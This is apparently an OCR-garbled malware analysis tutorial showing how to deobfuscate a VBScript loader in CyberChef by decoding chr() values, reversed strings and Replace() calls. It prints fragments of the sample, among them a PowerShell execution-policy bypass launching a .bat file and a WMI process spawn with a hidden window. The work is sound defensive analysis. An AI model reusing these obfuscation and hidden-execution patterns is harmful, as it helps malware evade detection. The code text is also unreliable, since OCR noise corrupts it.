Case insensitive ~ and $ match at newlines e OB 0" EME I EME" " Ba&" "&N&"d C:\PrU&0&" "+ g 6ak EM&" D"+ fak" t " 6a&" "&" \UPFCRQOF GHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&a&" t"
KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&S&" PUDYDLSDBFXPEFVVYBKGEIecor"&P&"_"&
O Dot matches all  [J Unicode support  [[] Astral support 28"") ,"IEGKBYVVFEPXFBDSLDYDUP" , ""&S&" ")
XFGOESLXRCIICRHXBZBPTS =

Output format Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&N&"") , " GTBUVVAKXHWYSDLSUYFROA" , """ &3&"""" ) &KAYWWOXZXNUASUEWKC

D Display total List matches HFKL&Rep lace(StrReverse (""" &R&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", """ &S&"")
WGX00RXASAPQVFKSUEONCP=
Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi" ) , " ZPUNUAPQQROXXHLKAGKSFJ" , ""&26&"")
From Decimal © 1 UYPNHFVADWURHNHZPINPTA =
Replace(StrReverse (" c\"&T&"ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " TARQTGVDNTKKFKTTVUAVIZ" , ""&
Delimiter 0&"") SWGXOORXASAPQVFKSUEONCP&Replace (St rReverse (" CRPEZHYCIWUYGSGUCUNGSBni™) , "BSGNUCUGSGYUWICYHZEPRC" ,
Space [ support signed values ng3gn)

EXUVOYHXQTCDOGNOFYCNEI =

Close up, it’s still a bit messy, but we’ll deal with that in a moment.

For now, we can observe that the “chr” operations have been replaced with their ASCII
equivalents. (Although the The String concatenations make this hard to read)

UVXVCAEWLICGGPDCUNGVGU = ""'&-&""&n&""&0&"Pri&o&" "+ f 1" GE&"

II&_&II II&E&IIXII&E&IICII+IIutiII&O&IIII&n&II PII&O&II1II+II icy Bypll+ll Il&a&ll "&S&""&S&"

"&-E" CEO&"  EME" " EME" "&a&" "GN&"d C1\PrU&0&" " +"gr &as" "&m&" D" +" "§ak" t" &a& " &" \UPFCRQOFGHVNBVUABXGF I
\UPFCRQOFGHVNBVUABXGFIW. b"&a&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&5&"PUDYDLSDBFXPEFVVYBKGETecor"&P&" _"&

In order to clean up for good, we needed to do two things.

First, we would need to undo our subsection. This would allow us to remove the “&”
operations that were not included in our initial regex.

This can be done with a “merge” operation. (Essentially an “Undo” button for subsections)
We then utilised a Find/Replace to remove the quote “” and “&” junk.
The recipe then looked like this. The most complex piece is the "&?"&?\+7?" regex.

This looks for any quotes that are preceded or followed by a & character. The (?) specifies
that the “&” is optional.
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Repaa exrestlon © m  place(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", " "&chr (83)&"")
WGXOORXASAPQUFKSUEONCP= Replace(StrReverse ("W:JFSKGAKLHXXC vmi®),"Zi KAGKSFJ", ""&chr (50) &"")
Built in regexes Regex UYPNHFVADWURHNHZPINPTA =
User defined \d+ Replace(StrReverse("c\"&chr (84)&"ZIVAUVTTKFKKTNDVGTQRATZIVAUVTTKFKKTNDVGTQRAT" ) , " TARQTGVDNTKKFKTTVUAVIZ" , ""&chr (79)&"") &

GXOORXASAPQVFKSUEONCP&Replace (StrReverse (*CRPEZHYCIWUYGSGUCUNGSBNi") , "BSGNUCUGSGYUWICYHZEPRC", " "&chr(51)&"")

% EXUVOYHXQTCDOGNOFYCNEI =

Replace(StrReverse(" '&chr(83)&"VKLPWOTKLXHQANTSGUNBOP"&chr(77)&"") , " POBNUGSTNAQHXLKTOWPLKV" , chr(84)&"") &UYPNHFVADWUR
" uy "o i
Casekinene e A and $ match at newiines D Botmeichastal HNHZPINPTA&Replace(StrReverse('corP_JGICDGUWYOWFEZBSDISPOU") , "UOPSIDSBZEFWOYWUGDCIGI",""&chr(50)&"")
- 4470 = 21 Tr Raw Bytes ¢ LF
utput format Output B rD [

N N O
[J Unicode support [[] Astral support [[] Display total | st matches
UVXVCAEWLICGGPDCUNGVGU = -noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW. bat

From Decimal on KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(SPUDYDLSDBFXPEFVVYBKGEIecorP_2), IEGKBYVVFEPXFBDSLDYDUP,S)
XFGOESLXRCIICRHXBZBPTS =
22:::' D Support signed values s:::‘:;:‘(lz:‘;::;:;?e;:gmzt::m:x:;g:zﬂ;; » GTBUVVAKXHWYSDLSUYFROA, 3) &KAYWWOXZXNUASUEWKCHFKL&Replace (StrReverse (RatCITRNI
WGXOORXASAPQVFKSUEONCP= Replace(StrReverse(W:JFSKGAKLHXXQRQQ! 'vmi) , ZPUNUAI XHLKAGKSFJ, 2)
UYPNHFVADWURHNHZPINPTA =

n
Merge ® Replace(StrReverse(c\TZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAT) , IARQTGVDNTKKFKTTVUAVJZ, 0) SWGXOORXASAPQVFKSUEONCP&Repl

ace(StrReverse(CRPEZHYCIWUYGSGUCUNGSBNi) , BSGNUCUGSGYUWICYHZEPRC, 3)

Merge All EXUVOYHXQTCDOGNOFYCNEI =
Replace(StrReverse(r:SVKLPWOTKLXHQANTSGUNBOPM) , POBNUGS TNAQHXLKTOWPLKV, T) &UYPNHFVADWURHNHZPINPTA&Replace(StrReverse(corP_J
GJCDGUWYOWFEZBSDISPOU) , UOPSIDSBZEFWOYWUGDCIG],2)

Find | Replace © 11 ZZWITKAWNKYJEHAFUDTCWW=Replace (St rReverse (iVBWJQIGGGEKPAQQLPZKDHUlev) , UHDKZPLQQAPKEGGGIQIWBV, =)
UVFBXQSZHYDXQKCCQWWNYL=Replace (St rReverse (NVEAJOVCC YEZVi) , VZEY VOJAEV,0)
Find KCKLFNNTZYUAJTCUDAPTVQ=Replace (St rReverse (KYIGPUHOVDOHHQCPQDKRCDGKYIGPUHOVDOHHQCPQDKRCDN ) , DCRKDQPCQHHODVOHUPGIYK , M)
&2"&P\+7 REGEX ~ Replace Global match 1 3yzppEZWXXLZKPLSXPLL=Replace (StrReverse(S: THREKHZIORep) , ROIZHKERHT ,r)
GINDQZLOGQHKQTVOYGHDKT =
Replace(StrReverse(TONCABIVNZSYSXTRWOJETAT) , TATEJOWRTXSYSZNVIBACNO, a) &UVFBXQSZHYDXQKCCQWWNYL&Replace (StrReverse (KGIRIBEIV
[ case insensitive Multiline matching [ Dot all PHOG YFOS1), SOFY IZGOHPVIEBJIRIGK , € ) &ZZWITKAWNKYJ EHAFUDTCWW&Rep lace (StrReverse (LITRKBUSUZY FPVFHZVPRSIM) , JSRPVZHFVPFY
ZUSUBKRTIL, P)
BDAEZIOSPHGLAYIEPCSKKZ=Replace (St rReverse (anNQLWZBLGATPHIBENFKEXDHS) , HDXEKFNEBIHPTAGLBZWLON, 0)
Syntax highlighter © 11 INAUKWKYCZNPOIVVNEQUFN=Replace(StrReverse(miTCWRKVLIJYXXWBLNKDOGVI\to) , IVGODKNLBWXXYJILVKRWCT, c)
CFKSWETDBQSRPZPHXUYTDX=Replace (St rReverse ( rAQFWWFABXCOYGWYPKLUSYLw) , LYSULKPYWGYOCXBAFWWFQA, €)
Language LOCNYJVFLHRIEEXZNOQYXB =Replace(StrReverse(e.QODUWPFSVUWVWCQNCAKKNIQODUWPFSVUWVWCQNCAKKN]) , INKKACNQCWVWUVSFPWUDOQ, 1)
vbscript Set STBRIKUASKOWTRXWVSAOGR =

GetObject (Replace(StrReverse(iRAQUIABXASDLSREXTOVLLQ) , QLLVOTXERSLDSAXBAJUQAR, w) &KCKLFNNTZYUAJTCUDAPTVQ&Replace (StrReverse
(YBZTXHXQQBJILOPNDNWQHZLst) , LZHQWNDNPOLIBQQXHXTZBY, : )&

Replace(StrReverse (MWITLXROODQVIILAOLXBYFD{),DFYBXLOALIIVQDOORXLTIW, i) &XIJUZPDEZWXXLZKPLSXPLL&Replace(StrReve
RRTYRXKNVR77Ylln) .1IYZ7RUNKXRYTRRZFTYFFVUR. n) &GTNDNO7I NGOHKNTVOYGHNKTARenlace (St rReverse( OKN7I TWRNNGRANPNT 1POWTe ) _TWIIP

A visual representation of the regex, courtesy of regexper.com.

oo

8

We then had a nice decoded value and no remaining “chr” operations in our script.

Output B0m::
UVXVCAEWLICGGPDCUNGVGU = -noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW. bat

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(SPUDYDLSDBFXPEFVVYBKGEIecorP_2),IEGKBYVVFEPXFBDSLDYDUP,S)
YECNEQH YROT1FRHYR7RDTS —

If you're confident with your regex, you could incorporate the previous two into one.

This ultimately leaves something like this. Which is conceptually the same, but slightly
cleaner than the original recipe we had before, at the cost of a slightly more complex regex.
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https://regexper.com/#%26%3F%E2%80%9D%26%3F%5C%2B%3F

Recipe

on

Subsection

Section (regex)

w287chr\ (\d+\)&?"? Case sensitive matching Global matching

[ ignore errors

Regular expression on
Built in regexes Regex
User defined \d+

4

Case insensitive ~ and $ match at newlines D Dot matches all

Output format

[J unicode support ] Astral support [] Display total | it matches
From Decimal on
Delimiter .
Space [ support signed values
Merge on
Merge All
Find / Replace on
Find
nyn SIMPLE STRING ~ Replace Global match

[0 case insensitive Multiline matching [ Dot matches all

Syntax highlighter on

Language
vbscript

Input + O3 8 =
UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr*&chr(111)&" "+ fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&"c"+" uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+" icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&" "&chr(45)&"C"&chr(111)&""&chr(109)&" "+ &chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr&chr(111)&""+"gr"*&chr(97)&" "&chr (109) &"D"+"" &chr(97)&" t"&chr (97) &""&" \UPFCRQOF GHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr (97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&"") ," IEGKBYVVFEPXFBDSLDYDUP" , ""&chr (83)&"")

XFGOESLXRCIICRHXBZBPTS =

Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTG"&chr (78)&"") , " GTBUVVAKXHWYSDLSUYFROA" , ""&chr (51) & ) SKAYWWOXZXNUASUEWKCHFKL&R
place(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC" , ""&chr (83) &"")

WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , "ZPUNUAPQQRQXXHLKAGKSFJ",""&chr(5@)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse (" c\"&chr(84)&" ZJVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " IARQTGVDNTKKFKTTVUAVIZ" , ""&chr (79) &"" )&
GXOORXASAPQVFKSUEONCP&Replace (StrReverse ("CRPEZHYCIWUYGSGUCUNGSBNi" ) , "BSGNUCUGSGYUWI CYHZEPRC" , ""&chr (51)&"")
EXUVOYHXQTCDOGNOFYCNET =

Replace(StrReverse("r:"&chr(83)&" VKLPWOTKLXHQANTSGUNBOP"&chr (77)&"" ) , " POBNUGS TNAQHXLKTOWPLKV" ,
HNHZPINPTASReplace (St rReverse(" corP_JGICDGUWYOWFEZBSDISPOU") ,"UOPSIDSBZEFWOYWUGDCIGI", ""&chr(50)
ZZWITKAWNKYJEHAFUDTCWW=Rep lace (St rReverse (" iVBWIQIGGGEKPAQQLPZKDHULev" ) , "UHDKZPLQQAPKEGGGIQIWBV" , "'=")
UVFBXQSZHYDXQKCCQWWNYL=Replace (St rReverse(""&chr(78)&"VEAJOVCQXE: YEZVi"),"VZEY XQCVOJAEV", ""&chr(79)&"")
KCKLFNNTZYUAJTCUDAPTVQ=Rep lace (St rReverse ("KY. PQDKRCDKY: PQDKRCD"&
chr(78)&""),""DCRKDQPCQHHODVOHUPGIYK" , ""&chr (77)&"")

XIJUZPDEZWXXLZKPLSXPLL=Replace (St rReverse(""&chr(83)&"ZBSOKPDEUENXTHREKHZIORep" ) , "ROJZHKERHTXNEUEDPKOSBZ", " r*')
GINDQZLOGQHKQTVOYGHDKT =

Replace(StrReverse(""&chr(84)&"ONCABIVNZSYSXTRWOJETAT") , " TATEJOWRTXSYSZNVIBACNO" , "a" ) SUVFBXQSZHYDXQKCCQWWNYL&Rep lace (Str
everse("KGIRIBEIVPHOGZNNWOYFOS1") , " SOFYOWNNZGOHPVIEBIRIGK" , "e" ) &ZZWITKAWNKYJEHAFUDTCWWERep Lace (StrReverse ("LITRKBUSUZYFP
FHZVPRSJ"&chr(77)&"")," ISRPVZHFVPFYZUSUBKRTIL" ,""&chr(80)&"")
me 4470 = 21

&chr(84)&"") &UYPNHFVADWU

Tr Raw Bytes ¢ L
B0Dm®

UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2")," IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN" ) , "' GTBUVVAKXHWYSDLSUYFROA", "'3") SKAYWWOXZXNUASUEWKCHFKL&Replace (StrReverse ("R
tCITRNIDHPHBVHVENTTKXPO") , " OPXKTTNEVHVBHPHDINRTIC" ,"'S")

WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , "ZPUNUAPQQROXXHLKAGKSFJ","2")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse(" c\TZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI") , " IARQTGVDNTKKFKTTVUAVIZ" ,"0" ) SWGXOORXASAPQVFKSUEON
P&Replace (StrReverse("CRPEZHYCIWUYGSGUCUNGSBni") , " BSGNUCUGSGYUWICYHZEPRC", "3")

EXUVOYHXQTCDOGNOFYCNEI =

Replace(StrReverse(" r:SVKLPWOTKLXHQANTSGUNBOPM") , ' POBNUGSTNAQHXLKTOWPLKV" , "T" ) &UYPNHFVADWURHNHZPINPTA&Rep lace (StrReverse
"corP_JG]CDGUWYOWFEZBSDISPOU") , "UOPSIDSBZEFWOYWUGDCIGI","2")

ZZWITKAWNKYJEHAFUDTCWW=Rep lace (St rReverse (" iVBWIQIGGGEKPAQQLPZKDHUlev") , "UHDKZPLQQAPKEGGGIQIWE
UVFBXQSZHYDXQKCCQWWNYL=Rep lace (St rReverse ("NVEAJOVCQXEAOBHAKWRYEZVi" ) , "' VZEYRWKAHBOAEXQCVOJAEV" , "0")
KCKLFNNTZYUAJTCUDAPTVQ=Rep lace (St rReverse("KY. PQDKRCDgKY: PQDKRCDN") , "DCRKDQPCQHHODVOHUPGIYK" , "M"
XIJUZPDEZWXXLZKPLSXPLL=Replace (St rReverse("SZBSOKPDEUENXTHREKHZIORep" ) , "ROJZHKERHTXNEUEDPKOSBZ™, "' r*')

LTNRNZI ACAHKNTUAYEHRKT —

Output

)

For a deeper explanation of the regex used, we highly recommend regexper.com and

regex101.com.

oS\

“chr(”

WM

digit

If you're completely new to regex, we also strongly recommend regexone.com.

Obfuscation 1: Conclusion

TLDR - Defeating Decimal Encoding:

» Use regex to locate the encoded values (locate the chr)

e Use a subsection to ‘act’ on the encoded values (Hone in on the chr)

e Use Find/Replace to remove surrounding junk (remove the chr)

o Perform the decoding (from decimal)

« If necessary, remove any additional junk (remove the string concatenation)
o Make it pretty with a syntax highlighter
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https://regexper.com/#%22%3F%26%3Fchr%5C%28%5Cd%2B%5C%29%26%3F%22%3F
https://regex101.com/
https://regexone.com/

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr*&chr(111)&" " +" fil"&chr(69)&"

"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGFIW\ UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW. bat"

Obfuscation 2: Reversed Strings

Further analysis determined that there were reversed strings scattered throughout the code.
This is typically used to evade simple string-based detection and analysis.

This would likely evade YARA signatures that scan for suspicious strings in files that have
been saved to disk.

Below we can see the reversed content.

\UPFCRQOFGHVNBVUABXGFIW. bat"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

P e e P P e e e T HAARFVIIC T RAVLIIVIZ A ATIRTARIY (A TRINN AL LAZCERT CHUERAAT A CLF AV IAY VRN IAC L Al R o e fr oo

This encoding is simple and is literally just reversing the content of a string.

We could perform this operation manually in CyberChef, but like before, we knew it would
take a while to deal with all of the reversed values.

The full StrReverse specification is here.

Recipe Bl F npu
SPUDYDLSDBFXPEFVVYBKGEIecorP_2\
Reverse
By
Character - 30 =1

Output

2_ProceIEGKBYVVFEPXFBDSLDYDUPS|

We decided to do these operations in bulk using CyberChef.
Our approach...

» Utilise regex to locate the “reversed” values

» Use Find/Replace or regex to remove surrounding junk (The StrReverse function name
in this case)

o Perform the decoding (Utilising “Reverse” + “by Character”)

» Restore the original state (Utilise a merge to undo the subsection)

First, we developed the regex to locate only the reversed values.
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https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/strreverse-function

We used the same method as before, utilising “regular expression” and “highlight matches”
until the highlight matched exactly what we needed.

(We all have our own regex styles, you can use any regex which successfully highlights the
content that you are interested in).

Recipe Bl 8 inpu + 038 =
R I . Qo |UVXVCAEWLICGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"&"
Gt ib \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"
Suilt in reqexes KAYWWOXZXNUASUEWKCHFKL
User defined =Replace (St rReverse ("SPUDYDLSDBFXPEFVVYBKGEIecorP_2") , "IEGKBYVVFEPXFBDSLDYDUP", "S")

XFGOESLXRCJJCRHXBZBPTS =
Regex Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN") , " GTBUVVAKXHWYSDLSUYFROA™, "' 3" ) &KAYWWOXZXNUA
StrReverse\ (" [A"]+1\) SUEWKCHFKL&Replace(StrReverse("RatCITRNIDHPHBVHVENTTKXPO") , " OPXKTTNEVHVBHPHDINRTIC","S")
WGXOORXASAPQVFKSUEONCP=
Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi" ) , " ZPUNUAPQQRQXXHLKAGKSFJ","2")
UYPNHFVADWURHNHZPINPTA =
Replace(StrReverse("c\TZIJVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI") , " IARQTGVDNTKKFKTTV

N\

Case insensitive " and $ match at newlines UAVJZ","0" ) SWGXOORXASAPQVFKSUEONCP&Rep lace (St rReverse (" CRPEZHYCIWUYGSGUCUNGSBNi" ) , "BSGNU
mc 3835 = 21 Tr Raw Bytes ¢ LF
(] Dot matches all  [_] Unicode support  [_] Astral support Output B0 ®:
output f . UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"&"
[ pisplay total Hiahlioht matches \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"
gnig KAYWWOXZXNUASUEWKCHFKL

=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN") , "GTBUVVAKXHWYSDLSUYFROA", "' 3" ) &KAYWWOXZXNUA
SUEWKCHFKL&Replace (StrReverse("RatCITRNIDHPHBVHVENTTKXPO") , "' OPXKTTNEVHVBHPHDINRTIC","S")
WGXOORXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi" ) , " ZPUNUAPQQRQXXHLKAGKSFJ" ,"2")
UYPNHFVADWURHNHZPINPTA =
Replace(StrReverse("c\TZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI") , " IARQTGVDNTKKFKTTV
UAVJZ","0") SWGXOORXASAPQVFKSUEONCP&Replace (StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni" ) , ""BSGNU
CUGSGYUWJCYHZEPRC", "3")

An overview of the regex, courtesy of regexper.com
This basically says

o Grab any occurrence of “StrReverse(“ including the opening parenthesis
o Grab everything that is not a double quote
e Grab the ending double quote and closing parenthesis.

None of:

©- ‘StrReverse(™ - “y @

We then converted the regex into a subsection and followed a similar methodology to
before.

o Subsection - Extract the “general” content of interest (in this case, “StrReverse” and
any following quoted content)
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https://regexper.com/#StrReverse%5C%28%22%5B%5E%22%5D%2B%22%5C%29

e Regular Expression - Extract the “exact” content of interest (Extract only the content in

quotes)

» Reverse + By Character - Perform the reverse operation.

on

Recipe

Subsection

Section (regex)

StrReverse\ (" [~"]1+"\) Case sensitive matching

Global matching O gnore errors

Regular expression

Built in regexes Regex
User defined P

Y.

Case insensitive ~ and $ match at newlines D Dot matches all

Output format

[ Unicode support [] Astral support [[] Display total L ist matches

on

Reverse

By
Character

Input +0O3 08 =

\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL

=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2")," IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN'") , "GTBUVVAKXHWYSDLSUYFROA" , 3" ) SKAYWWOXZXNUASUEWKCHFKL&Rep
lace(StrReverse("RatCITRNIDHPHBVHVENTTKXPO" ), " OPXKTTNEVHVBHPHDINRTIC","S")

WGXOORXASAPQVFKSUEONCP=

mc 3835 = 21 Tr Raw Bytes ¢ LF

output © B0 m:

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" ,"IEGKBYVVFEPXFBDSLDYDUP'","S")
XFGOESLXRCJJICRHXBZBPTS =

Rep lace ("NGTBUVVAKXHWYSDLSUYFROA" , "' GTBUVVAKXHWYSDLSUYFROA" , 3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTT
NEVHVBHPHDINRTICtaR", " OPXKTTNEVHVBHPHDINRTIC","S")

WGXOORXASAPQVFKSUEONCP= Replace (" imvZPUNUAPQQRQXXHLKAGKSFJ :W" ,"ZPUNUAPQQRQXXHLKAGKSFJ","2")
UYPNHFVADWURHNHZPINPTA =

Replace("IARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c", "TARQTGVDNTKKFKTTVUAVIZ","0" ) &WGXOORXASAPQVF
KSUEONCP&Rep lace (" inBSGNUCUGSGYUWICYHZEPRC" , "BSGNUCUGSGYUWJICYHZEPRC","'3")

EXUVOYHXQTCDOGNOFYCNEIL =

Replace ("MPOBNUGSTNAQHXLKTOWPLKVS: r", "POBNUGSTNAQHXLKTOWPLKV" , "T" ) &UYPNHFVADWURHNHZPINPTA&Replace ("UOP
SIDSBZEFWOYWUGDCIGI_Proc',"UOPSIDSBZEFWOYWUGDCIGI","2")

ZZWITKAWNKYJEHAFUDTCWW=Replace (" ve lUHDKZPLQQAPKEGGGIQIWBVi", " UHDKZPLQQAPKEGGGIQIWBV","'=")
UVFBXQSZHYDXQKCCQWWNYL=Replace (" iVZEYRWKAHBOAEXQCVOJAEVN", "'VZEYRWKAHBOAEXQCVOJAEV","0")

KCKLFNNTZYUAJTCUDAPTVQ=Replace ("NDCRKDQPCQHHODVOHUPGIYKgDCRKDQPCQHHODVOHUPGIYK" , ""DCRKDQPCQHHODVOHUPGIY
W gy

We then observed that the “StrReverse” operations were removed and cleaned.

UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE —-ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", "IEGKBYVVFEPXFBDSLDYDUP","S")

XFGOESLXRCJJICRHXBZBPTS =

Replace ("NGTBUVVAKXHWYSDLSUYFROA" , " GTBUVVAKXHWYSDLSUYFROA" ,"'3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTT

NEVHVBHPHDINRTICtaR","OPXKTTNEVHVBHPHDINRTIC","S")

N EAASA AR A A A AL IS AL A L L N

HiARmAARALA

SR A A T IR A MAARALAS L G Aism e all BT AT Y

With a before and after of an offending line.

e mramoma mraeaw

KAYWWOXZXNUASUEWKCHFKL

e

=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")

VEAACCT VASTIARILIVBTIRAATE

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")

XFGOESLXRCJJCRHXBZBPTS =

Obfuscation 3: Replace

Building on our last result, we could now see numerous “replace” operations scattered

throughout the code.

We followed the same process as before.

Perform the decoding

Use regex to “locate” the “encoded” values
Use a subsection to “act” on the encoded values

Restore the script to a clean state
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We utilised regex to locate our values of interest.

Recipe B npu + O3 @ =
STBRIKUASKOWTRXWVSAOGR. Get (Rep Lace ( “wLUBLIBQQYNAYHNZAEHIOCU" , “ LUBLIBQQYNAYHNZAEHIOCU™ , *i") &
Regular expression © Il XFGOESLXRCIJCRHXBZBPTS &Replace ("tuKYOHAURTZIUQEOCHXZTXSD" ,"KYOHAURTZIUQEOCHXZTXSD","P"))
Set NWVSBVKOKKPHTVIUAYLXIC = NWDUSWICRKNIDDWWNKOSCS.SpawnInstance_
Built In regexes NWVSBVKOKKPHTVIUAYLXIC. ShowWindow = @
User defined Set ESKRQXAIQCIIWGPQEPLXN] =

GetObject (Replace ("wiWTDCOVIRFCPTZSEATAVQYUmg" , "WTDCOVIRFCPTZSEATAVQYU" , "N" )& EXUVOYHXQTCDOGNOFYCNET
Regex &Replace ("eBHCLCGASRQHZRRVCVYDFCLS™ , "BHCLCGASRQHZRRVCVYDFCLY , "S™) )
Replace\ (" [~"]+"," [*"]1+"," [*"]"\) EEKTGASEUQPENYYXVFFTK] =
ESKROXATQCITWGPQEPLXNJ . Create (Replace (" FBHRLWFLBSKXURNBWBLVS00" , " FBHRLWFLBSKXURNBWBLVSO" , "P" ) &CFKSWETD
7 BQSRPZPHXUYTDX&Rep lace " SFQGNCOXSOFPHVBCSRDEAECE" , "FQGNCOXSOFPHVBCSRDEAEC" , "h" ) SLOCNYJVFLHRIEEXZNOQYXB
&Replace ("xIICZVNRATNSIOHGKYUGUOX " ,"TICZVNRATNSIOHGKYUGUOX" ,"e" ) &UVXVCAEWLICGGPDCUNGVGU, null,

Case insensitive ~ and $ match at newlines NWVSBVKOKKPHTVIUAYLXIC, intProcessID)
- 3430 = 21 Tr Row Bytes & LF
[ Dot matches all ] Unicode support  [[] Astral support Output B0Om::
P ; UVXVCAEWLICGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass -Command C:\ProgramData"&"
[ pisplay total H?;;I!i;;::;atches \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" " IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace(''NGTBUVVAKXHWYSDLSUYFROA" , " GTBUVVAKXHWYSDLSUYFROA" , "'3" ) &KAYWWOXZXNUASUEWKCHFKL&Rep lace ("' OPXKTT
NEVHVBHPHDINRTICtaR" ,"OPXKTTNEVHVBHPHDINRTIC","S")

